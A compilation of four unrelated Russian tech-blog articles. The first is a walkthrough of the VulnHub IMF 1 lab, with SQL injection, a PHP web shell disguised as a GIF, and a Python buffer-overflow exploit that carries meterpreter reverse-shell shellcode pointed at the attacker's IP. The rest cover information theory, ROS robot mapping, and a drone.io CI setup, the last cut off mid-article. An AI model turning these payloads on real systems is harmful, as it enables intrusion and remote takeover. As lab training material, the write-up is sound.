VulnHub: Разбор IMF 1 и очередное переполнение буфера

$ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-25 22:41 MSK
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)
Nmap scan report for 192.168.1.116
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

Flag 1

Приступаем к поиску директорий на сайте:

$ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403

Просматривая каждую из найденых страниц и их код, на странице contact.php, находим первый флаг:

<section id="service">         <div class="container">             <!-- flag1{YWxsdGhlZmlsZXM=} -->             <div class="service-wrapper">                 <div class="row">                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1s">                             <div class="icon">                                <i class="fa fa-desktop"></i>                              </div>                             <h3>Roger S. Michaels</h3>                             <p>rmichaels@imf.local</p>                             <p>Director</p>                         </div>                     </div>                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1.3s">                             <div class="icon">                                 <i class="fa  fa-paper-plane"></i>                             </div>                             <h3>Alexander B. Keith</h3>                             <p>akeith@imf.local</p>                             <p>Deputy Director</p>                         </div>                     </div>                     <div class="col-md-4 col-sm-6">                         <div class="block wow fadeInRight" data-wow-delay="1.6s">                             <div class="icon">                                 <i class="fa  fa-file-text"></i>                             </div>                             <h3>Elizabeth R. Stone</h3>                             <p>estone@imf.local</p>                             <p>Chief of Staff</p>                         </div>                     </div>                 </div>             </div>         </div> </section> 

Помимо флага flag1{YWxsdGhlZmlsZXM=}, находим тут ещё и список e-mail адресов сотрудников:

estone@imf.local
akeith@imf.local
rmichaels@imf.local

Сохраним его пока, а раскодировав флаг, получаем подсказку к следующему:

$ echo YWxsdGhlZmlsZXM= | base64 -d allthefiles

Flag 2

При внимательном просмотре, там же в коде страниц можно заметить вот такой участок:

        <script src="js/ZmxhZzJ7YVcxbVl.js"></script>         <script src="js/XUnRhVzVwYzNS.js"></script>         <script src="js/eVlYUnZjZz09fQ==.min.js"></script> 

Похоже на base64. Соединив всё вместе, получаем второй флаг:

$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d imfadministrator 

Flag 3

На полученной странице, крутится форма авторизации, и довольно интересный комментарий в коде страницы:

<form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form>

Хм, чаще всего для сравнения строк с учётом регистра в PHP используют либо ==, либо strcmp. У последней, есть одна особенность, функция вернёт 0, если строка будет сравниваться с массивом.
Проверим тут это. Заменив pass на pass[], пробуем авторизоваться под логином: rmichaels. Всё проходит успешно! +1 флаг:

flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>

$ echo Y29udGludWVUT2Ntcw== | base64 -d continueTOcms

Flag 4

Переходим по ссылке, и попадаем на страницу:

Присутствие параметров в адресной строке сразу намекает на наличие БД, либо на Path Traversal. Поэтому отдаём страницу в sqlmap и наслаждаемся результатом:

sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent

Получаем несколько информативных сообщений:

[15:23:55] [INFO] GET parameter ‘pagename’ appears to be ‘AND boolean-based blind — WHERE or HAVING clause’ injectable (with —string=«the»)
[15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘MySQL’
[15:24:10] [INFO] GET parameter ‘pagename’ is ‘MySQL UNION query (NULL) — 1 to 20 columns’ injectable

И в конечном счёте, sqlmap выдаёт список доступных баз данных:

available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Тут наибольший интерес представляет база Admin, с единственной таблицей pages

Дамп этой таблицы

Тут мы видим наличие ещё одной скрытой страницы tutorials-incomplete. Как видно из кода, там всего одно изображение:

QR код тут явно лишний, вырезаем его и отправляем на сайт, где и получаем очередной флаг: flag4{dXBsb2Fkcjk0Mi5waHA=} и подсказку:

$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d uploadr942.php

Flag 5

Перейдя на страницу, открывается форма загрузки файлов. После нескольких попыток, определяем, что загружать можно только изображения: проверяется как заголовок, так и расширение файла. После успешной загрузки, в коде страницы находим название загруженного файла:

<html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1>  File successfully uploaded. <!-- 4e8c80f6f326 --><form id="Upload" action="" enctype="multipart/form-data" method="post"> 	<p>  		<label for="file">File to upload:</label>  		<input id="file" type="file" name="file">  	</p>                        <p>      	<input id="submit" type="submit" name="submit" value="Upload">      </p>  </form> </body> </html>

Проверив директорию uploads, находим там наш файл. Пробуем залить шелл через файл shell.gif:

GIF89a <?php system($_GET['cmd']); ?>

И получаем в ответ ошибку!

ОК, из документации PHP к функциям system и exec, можно узнать что вместо них так же можно использовать вот такую конструкцию:

echo `id`;

Исправим шелл и опробуем его:

GIF89a <?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

Это сработало! Отлично! Находим в этом же каталоге пятый флаг flag5{YWdlbnRzZXJ2aWNlcw==}
И очередная подсказка, куда двигаться дальше:

$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d agentservices

Flag 6

Попробуем поискать этот сервис, используя загруженный PHP shell (команды выполненные через этот шелл будут начинаться с "> "). Вывод запущенных сервисов ничего не дал, а вот файл services оказался интересным:

> cat /etc/services | grep agent cmip-agent	164/tcp cmip-agent	164/udp zabbix-agent	10050/tcp			# Zabbix Agent zabbix-agent	10050/udp agent		7788/tcp			# Agent service

Всё стандартно, кроме последней строки. Но nmap не нашёл этот порт открытым, возможно сервис нужно запустить, либо тут port knocking.
Запустим его:

> agent

Сервис запустился, выдал приветствие, однако порт по прежнему не доступен. Попробовав отыскать сервис, находим рядом интересный файл:

> whereis agent agent: /usr/local/bin/agent > ls -ahl /usr/local/bin/ -rw-r--r--  1 root root   19 Oct 16 08:11 access_codes -rwxr-xr-x  1 root root  12K Oct 12 22:39 agent > cat /usr/local/bin/access_codes SYN 7482,8279,9467

Да, это очень похоже на port knocking, проверяем:

sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788

Starting Nmap 7.01 ( nmap.org ) at 2016-12-30 22:31 MSK
Nmap scan report for 192.168.1.116
Host is up (0.00030s latency).
PORT STATE SERVICE
7788/tcp open unknown
MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

Порт открылся, после подключения к нему, снова получаем приглашение сервиса agent.
Это всё хорошо, но для продолжения взаимодействия с этим сервисом ему нужно передать ID. Поэтому скачиваем его себе для дальнейшего анализа:

$ nc -l -p 9999 > agent > nc 192.168.1.124 9999 < /usr/local/bin/agent

Открыв его в IDA, и перейдя на функцию main, можно найти верный ID

Далее после просмотра кода, становится понятно, что после ввода ID сервис открывает меню, и в зависимости от выбранного пункта запускает ту или иную функцию, наиболее интересной тут оказалась функция report

Учитывая, что тут отсутствуют проверки пользовательского ввода, получаем самое обычное переполнение буфера. Запустим его в peda и найдём смещение, по которому расположен адрес возврата. Создаём паттерн:

Передаём его в функцию report

После краха, находим смещения.

Отлично, можно приступить к написанию эксплоита.
Воспользуемся шеллом из Metasploit:

$ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"

import socket  port = 7788 host = '192.168.1.116' agent_id = 48093572 buf =  "" buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33" buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2" buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b" buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1" buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47" buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8" buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0" buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb" shell = buf shell += "\x90"*(168-len(shell))

Если внимательно присмотреться, на вывод peda после краха приложения, во время локальной отладки, можно заметить, что регистр EAX указывает на начало стека:

На атакуемом хосте включен ASLR, это видно после выполнения команды:

> cat /proc/sys/kernel/randomize_va_space 2

Поэтому воспользуемся методом, который так же известен как ret2reg. Например тут можно подробнее о нём прочитать.

Нужный нам адрес (0x08048563) найден. Дописываем его в эксплоит:

shell += "\x63\x85\x04\x08" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall('%s\n' %(agent_id)) s.sendall('3\n') s.sendall(shell) data = s.recv(1024) print(data)

Запускаем Metasploit:

Наконец, после запуска нашего эксплоита получаем шелл с правами root:

$ python ./exploit_bof.py

И собственно забираем последний флаг:

Декодируем его:

$ echo R2gwc3RQcm90MGMwbHM= | base64 -d Gh0stProt0c0ls

P.S. Вот так выглядят файлы из корневой директории веб-сервера:

index.php

<?php session_start(); $loggedin=false; if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') { 	echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; 	$loggedin=true; } elseif (isset($_POST["user"]) && isset($_POST["pass"])) {     $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf";     sleep(3); // do not bruteforce     if ($_POST["user"]=='rmichaels') {         if (strcmp($password, $_POST["pass"]) == 0) {             $_SESSION['admin_logged_on'] = 'that is affirmative sir';             echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; 	    $loggedin=true;         } else {             echo "Invalid password";         }     } else {         echo "Invalid username.";     }         } if($loggedin===false) { ?> <form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form> <?php } ?>

uploadr942.php

<html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1>  <?php  // This is an example of how NOT to write a Web Application Firewall function crappyWAF($content) { 	$signatures = array( 		'/\/\*<\?php \/\*\*\//i' => 'Meterpreter payload detected', 		'/eval/i' => 'Eval php function detected', 		'/base64_decode/i' => 'Base64_decode php function detected', 		'/fopen/i' => 'fopen php function detected', 		'/system/i' => 'system php function detected', 		'/passthru/i' => 'passthru php function detected', 		'/exec/i' => 'exec function php detected', 		'/pcntl_exec/i' => 'pcntl_exec php function detected', 		'/popen/i' => 'popen php function detected', 		'/fsockopen/i' => 'fsockopen php function detected', 		'/proc_open/i' => 'proc_open php function detected', 		'/fclose/i' => 'fclose php function detected' 	); 	foreach($signatures as $signature=>$reason) { 		if(preg_match($signature, $content)) { 			return "CrappyWAF detected malware. Signature: " . $reason; 		} 	} 	return true; }  $validextensions = array("jpeg", "jpg", "png", "gif"); if(isset($_FILES['file']['name'])) { 	if(!$_FILES['photo']['error']) { 		$temporary = explode(".", $_FILES["file"]["name"]); 		$file_extension = end($temporary); 		if ($_FILES["file"]["size"] > 100000) { 			Print "Error: File size too large."; 		} elseif ((($_FILES["file"]["type"] == "image/png") 			|| ($_FILES["file"]["type"] == "image/jpg") 			|| ($_FILES["file"]["type"] == "image/jpeg") 			|| ($_FILES["file"]["type"] == "image/gif")) 			&& in_array($file_extension, $validextensions)){ 			 			$contents = file_get_contents($_FILES['file']['tmp_name']); 			$waf = crappyWAF($contents); 			if($waf!==true) { 				print "Error: ".$waf; 			} else { 				if(exif_imagetype($_FILES['file']['tmp_name'])!==false) { 					//PHP Image Uploading Code 					$new_file_name = substr( md5(rand()), 0, 12); 					move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension); 					print "File successfully uploaded.\n"; 					print "<!-- " . $new_file_name . " -->"; 				} else { 					print "Error: Invalid file data."; 				} 			} 		} else { 			print "Error: Invalid file type."; 		} 		 	} else { 		print "Error uploading file."; 	} }  ?> <form id="Upload" action="" enctype="multipart/form-data" method="post"> 	<p>  		<label for="file">File to upload:</label>  		<input id="file" type="file" name="file">  	</p>                        <p>      	<input id="submit" type="submit" name="submit" value="Upload">      </p>  </form>  </body> </html>

ссылка на оригинал статьи https://habrahabr.ru/post/318814/

Кодирование с изъятием информации. Часть 1-я, философская

Написано в сотрудничестве с Р. Бухрадзе и К. Перминовым

1. Введение

Offline oбмен сообщениями сейчас является одним из наиболее популярных способов общения (1, 2, 3) — судя по аудитории способов общения и динамике её роста.

При этом, ключевым требованием при обмене сообщениями всегда будет являться полное соответствие отправленного сообщения – полученному, то есть передача данных не должна необратимо искажать сами данные. Естественное желание – сэкономить привело к созданию алгоритмов сжатия данных, которые, убирают естественную избыточность данных минимизируя объём хранимых и передаваемых файлов.

Максимально достигаемый объём сжатия, гарантирующий однозначное восстановление данных, определяется работами К. Шеннона по теории информации, и в общем-то является непреодолимым так как изъятие не только избыточной, но и смысловой информации не позволит однозначно восстановить исходное сообщение. Стоит отметить, что отказ от точного восстановления в некоторых случаях и не является критически важным и используется для эффективного сжатия графических, видео и музыкальных данных, где потеря несущественных элементов оправдана, однако о общем случае целостность данных, куда важнее их размера.

Соответственно интересным является вопрос о том, можно-ли не нарушая положения теории информации передать сообщение объёмом меньше, чем минимальный объём, который может быть достигнут при самом лучшем сжатии данных.

2. Пример

Поэтому давайте разберём пример, который позволит изучить особенности передачи информации. И хотя в «английской» традиции участников информационного обмена принято именовать Алиса и Боб, мы же в преддверии нового года воспользуемся более знакомыми любителями месседжинга: Матроскиным и Шариком соответственно.
image

В качестве же сообщения m выберем: «Поздравляю тебя, Шарик, ты балбес!». Длина его в односимвольной кодировке- len(m) — 34 байта.

Можно заметить, что длина сообщения заметно больше количества информации в нём. Это можно проверить вычеркивая из сообщения сначала каждый десятый символ, потом, (опять же из оригинального сообщения) каждый девятый и так далее до каждого четвёртого, результатом чего будет — «Позравяю ебя Шаик,ты албс!»-26 байт. Соответственно степень «загадочности» будет постепенно повышаться, но, догадаться о чём речь, будет достаточно просто. Более того, «Яндекс» распознаёт данное обращение.

Ещё более высокой степени сокращения длины сообщения при сохранении смысла можно добиться отбрасывая гласные и часть пробелов: “Пздрвл тб,Шрк,т блбс!” — 21 байт, стоит отметить, что хотя поисковики и не справляются таким написанием, восстановить фразу труда не составляет.

Если же посмотреть на количество информации I(m) в этом сообщении определяемое более строго через понятие информационной энтропии, то видно, что объём информации передаваемый в этом сообщении, составляет примерно 34*4,42/8=18,795 байт. Здесь: 4.42 бит/символ среднее количество информации в одном байте русского языка (4, 5), а 8 — приведение от битов к байтам. Это показывает, что воспользовавшись самым лучшим способом сжатия данных необходимо будет затратить не менее 19 байт на передачу сообщения от Матроскина Шарику.

Более того, верно и обратное утверждение о том, что передать нужное нам сообщение без потерь меньше чем за 19 байт невозможно (К. Шеннон, Работы по теории информации и кибернетике., изд. Иностранной литературы, Москва, 1963г.) Теорема 4. стр. 458.

3. Дальнейшие рассуждения

Однако продолжим… Пусть у Матроскина и у Шарика есть некоторое дополнительное количество информации k и пара функций, одна из которых m’=E(k,m), рассчитывающая пересечение дополнительной информации k и исходного сообщения m image, а вторая D(k,m’) =m — обратная к E. Причём количество информации определяемой по Шеннону, удовлетворяет следующему условию: image. Соответственно, если нам удастся построить определённую выше пару функций E(k,m) и *D(k,m’), такие, что выполняются следующие два условия:

  • image,
  • image

то это будет означать, что для передачи информации между адресатами может потребоваться меньше информации чем содержится в исходном сообщении.
image

При этом стоит обратить внимание на то, что по определению указанных функций не происходит нарушения утверждений теории информации.

Похожие, алгоритмы предусматривающие замену передаваемой информации её хешем, активно используются в системах оптимизации сетевого трафика. При этом, однако, в отличие от описываемого алгоритма, для того, чтобы эффективно использовать данный вид оптимизации требуется хотя бы однократная передача данных.

Ввиду того, что сообщения на естественном языке содержат объём данных, больший чем объём информации, то если предварительно сжать исходное сообщение при помощи какого-либо из алгоритмов, обеспечивающих эффективное устранение избыточности, например, арифметического кодирования.

Обозначим применение операции сжатия m’= Ar(m) такой, что image. Если теперь использовать определённую выше функцию E над предварительно сжатым сообщением, то можно заметить, что и объём передаваемых данных и количество информации передаваемых между адресатами могут оказаться меньше объёма данных и количества информации в исходном сообщении.

То есть, обобщая: в предположении, что существует обратимое преобразование D(k,E(k,m)) =m, такое, что image применение операций устранения избыточности даёт возможность передать объём и количество информации в объёме не превосходящие соответствующие параметры (длина len(m) и количество информации I(m)) исходного сообщения.

В общем осталось только подобрать функции…..

ссылка на оригинал статьи https://habrahabr.ru/post/318848/

Построение карты и локализация мобильного робота в ROS без одометрии с использованием laser_scan_matcher

Добрый день хабрачитатели!
Мы уже однажды коснулись темы локализации и SLAM в статье о Hector SLAM. Продолжим знакомство с алгоритмами построения карт местности и локализации в ROS. Сегодня мы попробуем построить карту местности без источника одометрии, используя только лидар Hokuyo URG-04LX-UG01 и алгоритм gmapping и локализовать робота на построенной карте с помощью алгоритма amcl. В этом нам поможет laser_scan_matcher. Кому интересно, прошу под кат.

Установка пакета laser_scan_matcher

Итак, начнем! Для экспериментов будем использовать ROS Indigo, но вы можете использовать другую версию ROS (Jade, Kinetic, Hydro). Установка пакетов должна выполняться аналогично (возможно только в ROS Kinetic не будут доступны некоторые пакеты через apt-get).
Пакет laser_scan_matcher это инструмент для инкрементальной регистрации данных лазера, который реализован на основе метода Canonical Scan Matcher, о котором можно почитать здесь. О пакете можно прочитать здесь. Пакет может быть использован без данных одометрии, он сам выполняет оценку одометрии.
Установим пакет:

sudo apt-get install ros-indigo-laser-scan-matcher 

Попробуем демо:

roscore roslaunch laser_scan_matcher demo.launch 

Мы увидим нечто подобное в rviz:

Здесь показан laser_scan_matcher в действии на данных лидара, записанных в bag файл.
Теперь попробуем пакет вживую. Чтобы не терять время, сразу попробуем его с алгоритмом gmapping. Создадим пакет с файлом my_gmapping_launch.launch для запуска gmapping:

cd ~/catkin_ws/src catkin_create_pkg my_laser_matcher cd src/my_laser_matcher mkdir launch vim src/my_gmapping_launch.launch 

Скопируйте следующий код в файл my_gmapping_launch.launch:

Код my_gmapping_launch.launch

<?xml version="1.0"?>                                                                                                                            <launch>                                                                                                           <node pkg="tf" type="static_transform_publisher" name="base_link_to_laser"                                            args="0.0 0.0 0.0 0.0 0.0 0.0 /base_link /laser 40" />                                                                                                                                                               <node pkg="laser_scan_matcher" type="laser_scan_matcher_node" name="laser_scan_matcher_node" output="screen">    <param name="fixed_frame" value = "odom"/>                                                                     <param name="use_odom" value="true"/>                                                                          <param name="publish_odom" value = "true"/>                                                                    <param name="use_alpha_beta" value="true"/>                                                                    <param name="max_iterations" value="10"/>                                                                     </node>                                                                                                                                                                                                                       <node pkg="gmapping" type="slam_gmapping" name="slam_gmapping" output="screen">                                 <param name="map_udpate_interval" value="1.0"/>                                                                <param name="delta" value="0.02"/>                                                                            </node>                                                                                                      </launch> 

Здесь мы запускаем static_transform_publisher из пакета tf для публикации трансформации между системами координат base_link > laser, узлы laser_scan_matcher и slam_gmapping.
Исходный код файла можно скачать отсюда.
Для использования лидара Hokuyo нам нужно установить пакет ROShokuyo_node:

sudo apt-get install ros-indigo-hokuyo-node 

Запустим узел getID из пакета hokuyo_node чтобы получить информацию о лидаре:

rosrun hokuyo_node getID /dev/ttyACM0 

Может возникнуть ошибка:

Error: Failed to open port. Permission denied. [ERROR] 1263843357.793873000: Exception thrown while opening Hokuyo. Failed to open port: /dev/ttyACM0. Permission denied (errno = 13). You probably don't have premission to open the port for reading and writing. (in hokuyo::laser::open) You may find further details at http://www.ros.org/wiki/hokuyo_node/Troubleshooting 

В этом случае нам нужно добавить права доступа для порта /dev/ttyACM0:

sudo chmod a+rw /dev/ttyACM0 

Запустим getID из пакета hokuyo_node еще раз и получим подобный вывод:

Device at /dev/ttyACM0 has ID H0906078 

Теперь запустим узел hokuyo_node:

rosrun hokuyo_node hokuyo_node 

И наконец запустим наш лаунч файл my_gmapping_launch.launch:

roslaunch my_laser_matcher my_gmapping_launch.launch rosrun rviz rviz 

Выведем список топиков:

rostopic list 

Среди топиков мы увидим следующие:

/initialpose /move_base_simple/goal /odom /pose2D ... /imu/data 

Таким образом мы получаем одометрию и позицию робота благодаря laser_scan_matcher.
Добавим в rviz дисплей типа LaserScan с топиком /scan так, как это описано в статье. Также добавим дисплей для карты Map и для трансформации TF. Развернем секцию TF и внутри нее Frames, затем отметим пункты: odom, map, base_link. Напомню, что это системы координат одометрии, карты и робота соответственно. Не забудьте установить значение /map для поля Fixed frame в левой панели Displays в секции Global options.
В rviz мы увидим подобную картинку:

image
Дальше просто перемещаем робота в пространстве для построения полной карты местности. Используем утилиту map_saver из пакета map_server для сохранения карты:

rosrun map_server map_saver 

Локализация с amcl

Сейчас попробуем локализовать робота с помощью алгоритма amcl. Создадим файл my_localize.launch внутри нашего пакета со следующим содержимым:

Код my_localize.launch

<launch>    <param name="/use_sim_time" value="false"/>     <node pkg="tf" type="static_transform_publisher" name="base_link_to_laser"      args="0.0 0.0 0.0 0.0 0.0 0.0 /base_link /laser 40" />    <node name="hokuyo" pkg="hokuyo_node" type="hokuyo_node" respawn="false" output="screen">     <param name="calibrate_time" type="bool" value="false"/>      <param name="port" type="string" value="/dev/ttyACM0"/>      <param name="intensity" type="bool" value="false"/>   </node>    <node pkg="laser_scan_matcher" type="laser_scan_matcher_node"      name="laser_scan_matcher_node" output="screen">     <param name="fixed_frame" value = "odom"/>     <param name="use_alpha_beta" value="true"/>     <param name="max_iterations" value="10"/>   </node>   <node name="map_server" pkg="map_server" type="map_server" args="/home/vladimir/catkin_ws/map.yaml"/>    <node pkg="amcl" type="amcl" name="amcl" output="screen" >   <!-- Publish scans from best pose at a max of 10 Hz -->   <param name="odom_model_type" value="diff"/>   <param name="odom_alpha5" value="0.1"/>   <param name="transform_tolerance" value="0.2" />   <param name="gui_publish_rate" value="10.0"/>   <param name="laser_max_beams" value="30"/>   <param name="min_particles" value="500"/>   <param name="max_particles" value="5000"/>   <param name="kld_err" value="0.05"/>   <param name="kld_z" value="0.99"/>   <param name="odom_alpha1" value="0.2"/>   <param name="odom_alpha2" value="0.2"/>   <!-- translation std dev, m -->   <param name="odom_alpha3" value="0.8"/>   <param name="odom_alpha4" value="0.2"/>   <param name="laser_z_hit" value="0.5"/>   <param name="laser_z_short" value="0.05"/>   <param name="laser_z_max" value="0.05"/>   <param name="laser_z_rand" value="0.5"/>   <param name="laser_sigma_hit" value="0.2"/>   <param name="laser_lambda_short" value="0.1"/>   <param name="laser_lambda_short" value="0.1"/>   <param name="laser_model_type" value="likelihood_field"/>   <!-- <param name="laser_model_type" value="beam"/> -->   <param name="laser_likelihood_max_dist" value="2.0"/>   <param name="update_min_d" value="0.2"/>   <param name="update_min_a" value="0.5"/>   <param name="odom_frame_id" value="odom"/>    <param name="base_frame_id" type="str" value="base_link" />   <param name="global_frame_id" type="str" value="map" />    <param name="resample_interval" value="1"/>   <param name="transform_tolerance" value="0.1"/>   <param name="recovery_alpha_slow" value="0.0"/>   <param name="recovery_alpha_fast" value="0.0"/>   <param name="use_map_topic" value="true" />   <param name="first_map_only" value="true" /> </node>  </launch> 

Здесь мы аналогично лаунчеру для gmapping публикуем трансформацию /laser → /base_link с помощью узла static_transform_publisher, узлы hokuyo_node и laser_scan_matcher. Затем мы запускаем map_server для публикации нашей построенной карты, где в args передаем путь до карты в файле yaml. Наконец запускаем узел amcl с параметрами. О параметрах amcl можно прочитать на официальной странице алгоритма.
Код лаунч файла также можно скачать из github репозитория.
Запустим наш лаунч файл:

roslaunch my_laser_matcher my_localize.launch 

Теперь перейдем в rviz. Установим значение map для Fixed frame в секции Global options. Выведем список топиков:

rostopic list 

В списке появятся новые топики:

... /amcl/parameter_descriptions /amcl/parameter_updates /amcl_pose ... /map /map_metadata /map_updates ... /particlecloud 

Топик amcl_pose соответствует позиции робота, публикуемой amcl.
Посмотрим сообщения в топике:

rostopic echo /amcl_pose 

Получим данные о позиции робота:

header:    seq: 15   stamp:      secs: 1482430591     nsecs:  39625000   frame_id: map pose:    pose:      position:        x: 0.781399671581       y: 0.273353260585       z: 0.0     orientation:        x: 0.0       y: 0.0       z: -0.636073020536       w: 0.771628869694   covariance: [0.2187289446708912, -0.010178711317316846, 0.0, 0.0, 0.0, 0.0, -0.010178711317316819, 0.23720047371620548, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.07106236846890918] --- 

В rviz мы получим такую картинку:

image

Как видим точки скана с лидара частично совпадают со стенами на карте. Вот как выглядела моя установка в действительности:

image

Попробуем переместить робота. Позиция робота и точка обзора карты должны одновременно измениться в окне rviz. После перемещения робота позиция робота может быть определена алгоритмом amcl не точно. Нам нужно выполнить корректировку положения робота с помощью инструмента 2D Pose Estimate. Для этого нажмем в верхней панели инструментов в rviz на кнопку 2D Pose Estimate, кликнем на приблизительную точку центра системы координат робота на карте в rviz (система координат base_link) и будем удерживать зажатой кнопку мышки. Появится зеленая стрелка, исходящая из центра робота:

image

Потянем стрелку изменяя ее направление и пытаясь совместить точки скана с лидара с черными краями (стены) на карте. Получив наилучшее совмещение отпустим кнопку мышки.

image

Мы получим такие сообщения в терминале, где запущен my_localize.launch:

[ INFO] [1482431993.717411186]: Setting pose (1482431993.717383): -0.413 -0.071 0.057 

На коротком видео можно посмотреть все в действии:

Топик /particlecloud представляет данные о неопределенности положения робота в виде ориентированных позиций (Pose) или так называемое облако частиц. Тип сообщений — geometry_msgs/PoseArray.

Добавим дисплей по названию топика /particlecloud:

image

В rviz отобразится облако частиц в виде густого скопления красных стрелок:

image

Чем гуще скопление частиц, тем выше вероятность положения робота в этой позиции.
Об инструменте 2D Pose estimate, облаке частиц и других понятий в amcl можно прочитать в туториале на портале ros.org.

На этом все! Все рассмотренные алгоритмы (gmapping и amcl) являются частью большого стека Navigation stack в ROS, о нем можно найти много информации в Интернете. Сегодня мы попробовали в действии инструмент laser_scan_matcher, алгоритмы построения карт gmapping и локализации amcl. Теперь можно легко начать работать над локализацией и навигацией мобильного робота и создать полностью автономного робота, способного ориентироваться в пространстве без необходимости в ручном управлении. Желаю всем удачи в экспериментах и до новых встреч!

PS: Всех с наступающим 2017 годом!
ссылка на оригинал статьи https://geektimes.ru/post/283556/

Непрерывная кросс компиляция на Raspberry PI

Мне хотелось развернуть систему непрерывной интеграции, кросс компилирующую CMake проект написанный на c++ с OpenGL на Raspberry PI. Заодно я хотел посмотреть, не появились ли удобные серверы автоматической сборки, не содержащие в себе питона и не потребляющие сотни мегабайт ram в простое. Одна из целей написания статьи — узнать, не прошёл ли я мимо более хорошего или простого решения 🙂

TLDR: drone классный, позволяет добавить простенький файл в корень репозитория на github/bitbucket — и получить автоматические билды/тесты/деплой. Прямо как в Travis, но self-hosted.

Отправившись в гугл я узнал, что билд серверов удовлетворяющих моим нехитрым требованиям всего два:

  • drone.io
  • concourse.ci

Я остановился на drone.io. Выбирал по описанию, объективно сравнивать не могу.

У drone есть две версии, 0.4 и 0.5. 0.5 — это бета, выглядит немного симпатичней, но принципиально новых фичей я для себя не нашёл. Единственный баг в 0.4 исправленный в 0.5 на который я наткнулся — можно случайно через UI лишить себя флажка Administrator.

Документация по ссылке http://readme.drone.io/ — по версии 0.4. Для 0.5 — http://readme.drone.io/0.5/.

Из неочевидных нюансов — drone работает с одним из поставщиков репозиториев, таких как github, bitbucket, gogs. Причём один инстанс drone может работать только с одним источником. Это исправляется запуском нескольких независимых серверов drone, благо в простое они не тратят лишние ресурсы.
В моём случае — один drone смотрит в bitbucket, один — в gogs запущенный на том же сервере.

Я запускал drone через docker образ, выглядит это так:
Запуск:

docker run -d \   -e REMOTE_DRIVER=bitbucket \   -e "REMOTE_CONFIG=https://bitbucket.org?client_id=***&client_secret=***" \   -e DRONE_DATABASE_DRIVER=sqlite3 \   -e DRONE_DATABASE_CONFIG=/var/lib/drone/drone.sqlite \   -v /var/lib/drone_bitbucket:/var/lib/drone \   -v /var/run/docker.sock:/var/run/docker.sock \   -p 81:8000 \   --restart=always \   --name=drone_bitbucket \   drone/drone:0.4

И всё 🙂

Так выглядит drone после установки на сервер:
Login

По нажатию на кнопке drone отправиться за разрешениями в bitbucket, и при успехе покажет все репозитории доступные аккаунту:
repos

Изначально во вкладке Active будет пусто, все репозитории будут в Available.
Вот такая кнопка включения есть для каждого битбакет репозитория:
activate

Теперь самое интересное, сам процесс сборки 🙂

Процесс сборки в drone настраиваеться крайне просто.
В корне активного репозитория должен быть файл .drone.yml, описывающий как же именно собирать и деплоить содержимое репозитория.
